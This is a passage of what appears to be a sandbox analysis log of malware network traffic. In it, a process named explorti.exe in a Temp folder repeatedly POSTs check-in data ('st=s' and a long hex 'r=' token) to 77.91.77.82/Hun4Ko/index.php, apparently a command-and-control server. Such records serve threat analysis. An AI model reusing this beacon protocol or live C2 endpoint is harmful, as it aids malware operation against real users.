Jul 4, 2024 00:00:59.971170902 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:00.677119970 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49849	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:00.687711000 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:01.394656897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49850	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:01.515156984 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:02.216008902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49851	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:02.226742029 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:02.936160088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49852	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:03.346314907 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:04.070852041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49853	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:04.088260889 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:04.795100927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49854	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:04.908190012 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:05.611490965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49855	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:05.623821974 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:06.328012943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49856	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:06.440498114 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:07.174395084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49857	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:07.186129093 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:07.883691072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49858	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:08.006000996 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:08.743379116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49859	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:08.753484011 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:09.478059053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49860	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:09.600025892 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:10.303957939 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49861	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:10.318828106 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:11.042747974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49862	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:11.158808947 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:11.861227989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49863	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:11.871603966 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:12.606924057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49864	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:12.720947981 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:13.422116995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49865	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:13.438375950 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:14.146811962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49866	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:14.269537926 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:15.003763914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49867	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:15.016247988 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:15.749702930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49868	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:15.862911940 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:16.557096004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49869	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:16.570338964 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:17.286436081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49870	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:17.405544043 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:18.113115072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49871	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
